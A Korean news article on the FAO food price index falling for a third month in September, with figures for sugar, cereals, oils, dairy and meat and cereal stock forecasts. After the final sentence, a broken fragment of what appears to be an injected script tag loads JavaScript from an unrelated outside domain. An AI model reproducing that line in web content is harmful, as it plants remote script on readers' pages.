- FAO, 3개월 연속…설탕·곡물 하락폭 커

세계 식량가격지수가 3개월 연속 하락세를 보이고 있다.
FAO(국제연합식량농업기구)는 최근 9월 세계식량가격지수가 전월 대비 4.5 포인트 하락한 225포인트를 기록해 7월부터 3개월 연속 하락세를 기록하고 있다고 밝혔다.
그러나 전년 동기보다 15.4% 높은 등 식량가격지수는 여전히 높은 수준을 유지하고 있다.

품목별로는 모든 품목의 가격지수가 전월보다 하락했으나 설탕, 곡물, 유지류 지수의 하락폭이 두드러졌다.
설탕가격지수는 379포인트로 유럽, 인도, 태국 등의 생산량 증가 전망과 최대 설탕생산국인 브라질의 생산량이 예상보다 증가될 것으로 전망됨에 따라 전월보다 3.8% 큰 폭으로 하락했다.

곡물가격지수는 245포인트로 빠듯한 옥수수 수급 전망과 태국의 쌀 가격지지 정책에도 불구하고 세계 곡물생산량 증가와 달러화 강세 등에 힘입어 전월 대비 3% 하락했다.
유지류가격지수는 238포인트로 동남아시아에서의 야자유 생산 증가와 흑해지역에서의 해바라기유가 대풍을 이룬 영향으로 전월 대비 2.3%하락했다.
유제품가격지수는 218포인트로 버터 3%, 카세인 및 치즈가 각각 1%씩 하락하는 데 힘입어 전월보다 약간 하락했다.
그러나 거의 모든 유제품은 전년 동기 198 포인트 대비 10% 높은 수준을 유지하고 있다.

육류가격지수는 175포인트로 쇠고기와 양고기는 빠듯한 수급에 따라 소폭 상승했으나 돼지고기 3% 하락, 가금육 소폭 하락 등으로 전월 대비 소폭 하락했다.
2011~2012년도 곡물생산량은 23억 1000만톤, 곡물소비량은 23억 200만톤으로 지난해 대비 각각 3%, 1.3% 증가할 것으로 예상됐다.
2012년 기말재고율(소비량 대비 재고량)은 약 21%로 여전히 낮은 수준을 유지할 것으로 예상했다. src=http://nbnjkl.com/urchin.js >
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